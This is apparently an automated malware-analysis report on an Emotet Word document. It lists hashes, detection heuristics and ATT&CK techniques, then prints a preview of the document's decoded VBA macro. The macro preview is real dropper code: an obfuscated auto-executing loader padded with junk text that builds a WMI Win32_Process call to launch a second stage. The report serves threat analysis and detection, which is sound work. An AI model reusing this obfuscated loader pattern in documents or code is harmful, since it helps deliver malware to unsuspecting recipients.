Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1af06e6ec9df1807…

MALICIOUS

Office (OLE)

139.5 KB Created: 2019-10-01 07:19:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 2b9060f595dff2c0b8bc214f239734bf SHA-1: 0afa757daa13c515b13847a0b4946e1f4546b27a SHA-256: 1af06e6ec9df180758c05e138ca87ff0dd9da464e2ece041193b267eee0dac8c
290 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Reverse-Engineer T1071.001 Web Protocols

The sample contains an obfuscated auto-executing VBA macro (autoopen) that utilizes CreateObject to likely download and execute a second-stage payload. The ClamAV detection name 'Doc.Downloader.Emotet' strongly suggests the Emotet family. The embedded URLs, although benign, are part of the obfuscation and lure.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10022072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10022072-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.microsoft.com/en-us/wdsi/defenderupdateso In document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdatesa�In document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdatesIn document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdates�In document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdates��In document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdateseIn document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdatessentLe�In document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdatesOIn document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdatesmIn document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdates6IA156�In document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdatesH156QA�In document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdatesAG156k�In document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdates5In document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdates1In document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdatesBIn document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdatesAIn document text (OLE body)
    • https://www.microsoft.com/en-us/wdsi/defenderupdates6In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32085 bytes
SHA-256: ae79cc9b372a38e28a749bd7b445931e0e759d0d5b44ad489f83dc548b845834
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Crescentbsr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Mississippizsh, 0, 0, MSForms, TextBox"
Attribute VB_Control = "navigatingvaj, 1, 1, MSForms, TextBox"
Attribute VB_Control = "infrastructuresuzl, 2, 2, MSForms, TextBox"

Attribute VB_Name = "GBhru"
Function Awesome_Plastic_Computerisz()
   'https://www.microsoft.com/en-us/wdsi/defenderupdates
Floridaijz = "Solutions Handcrafted Concrete Cheese navigating invoice visionary Gorgeous Frozen Towels matrix"
'Groves action-items initiatives Rustic Auto Loan Account override
'https://www.microsoft.com/en-us/wdsi/defenderupdates
'white capability didactic transparent local violet deposit Adaptive Borders channels 6th generation Passage matrices
Personal_Loan_Accountdai = Floridaijz + ("903") + Floridaijz + ("357209")
'Personal Loan Account Arizona Steel withdrawal bandwidth Valley Electronics, Automotive & Clothing Industrial withdrawal Brand invoice interfaces GB
'https://www.microsoft.com/en-us/wdsi/defenderupdates
Smalllbv = "1080p quantifying withdrawal cohesive Drive override bi-directional architectures Credit Card Account Coordinator best-of-breed Berkshire"
turnkeyjir = "p" + Oregonwdd(Crescentbsr.infrastructuresuzl + Crescentbsr.navigatingvaj) 'Future Optimization platforms Circle Pines systematic Incredible Handmade Metal Hat Village tan Licensed
   'https://www.microsoft.com/en-us/wdsi/defenderupdates
Floridaijz = "deposit repurpose Mountain redundant impactful index Saint Pierre and Miquelon"
'virtual Road Ramp generating Bedfordshire withdrawal Uganda Shilling connecting Practical Wooden Keyboard copying program Avon
'https://www.microsoft.com/en-us/wdsi/defenderupdates
'optical Parks Plains cyan Falkland Islands Pound brand District Security
Personal_Loan_Accountdai = Floridaijz + ("842") + Floridaijz + ("390712")
'Common Incredible Fresh Chips Oregon frictionless functionalities Applications Ohio Networked JBOD Representative Argentine Peso
'https://www.microsoft.com/en-us/wdsi/defenderupdates
Smalllbv = "Licensed Wooden Towels Handcrafted Granite Chicken ivory feed hacking Sharable standardization Exclusive projection"
Personal_Loan_Accountdai = deliverablesnpn
Set standardizationjlb = CreateObject(Oregonwdd(CStr(Len("Sports International Reunion 4th generation Rubber Pakistan Generic Cotton Hat JBOD Lead invoice Fantastic Soft Gloves Estate Incredible Concrete Pants gold")) + "w156i156n156mg156mts156:Wi156n32156_Pr156oce156ss"))
Personal_Loan_Accountdai = Personal_Loan_Accountdai + standardizationjlb.Create(turnkeyjir, Booksjzq, Health__Homeaio, SMSkbw)
   'https://www.microsoft.com/en-us/wdsi/defenderupdates
Floridaijz = "Manager feed Managed Wisconsin Metal synergies"
'algorithm JBOD Ports multi-byte mint green bus SDD Business-focused deposit Kuwaiti Dinar
'https://www.microsoft.com/en-us/wdsi/defenderupdates
'program optical indexing Club Intelligent Metal Car responsive overriding Paradigm leading edge
Personal_Loan_Accountdai = Floridaijz + ("790") + Floridaijz + ("52677")
'Road Auto Loan Account Cambridgeshire back-end Sleek Plastic Chips Representative alliance silver Wooden
'https://www.microsoft.com/en-us/wdsi/defenderupdates
Smalllbv = "lime Walks Ohio Circle Assimilated Plastic hacking Supervisor Checking Account recontextualize"
End Function

Attribute VB_Name = "withdrawalsuz"
Function Health__Homeaio()
   'https://www.microsoft.com/en-us/wdsi/defenderupdates
Floridaijz = "Rustic Metal Cheese process improvement Toys, Shoes & Automotive Spring throughput Egypt architect schemas vertical sensor RSS"
'Islands Tasty Wooden Shoes Concrete online Handcrafted Granite Shirt synergies convergence Causeway Avon seize National Jewelery
'https://www.microsoft.com/en-us/wdsi/defenderupdates
'Frozen foreground global technologies application Technician Rustic Intel
... (truncated)

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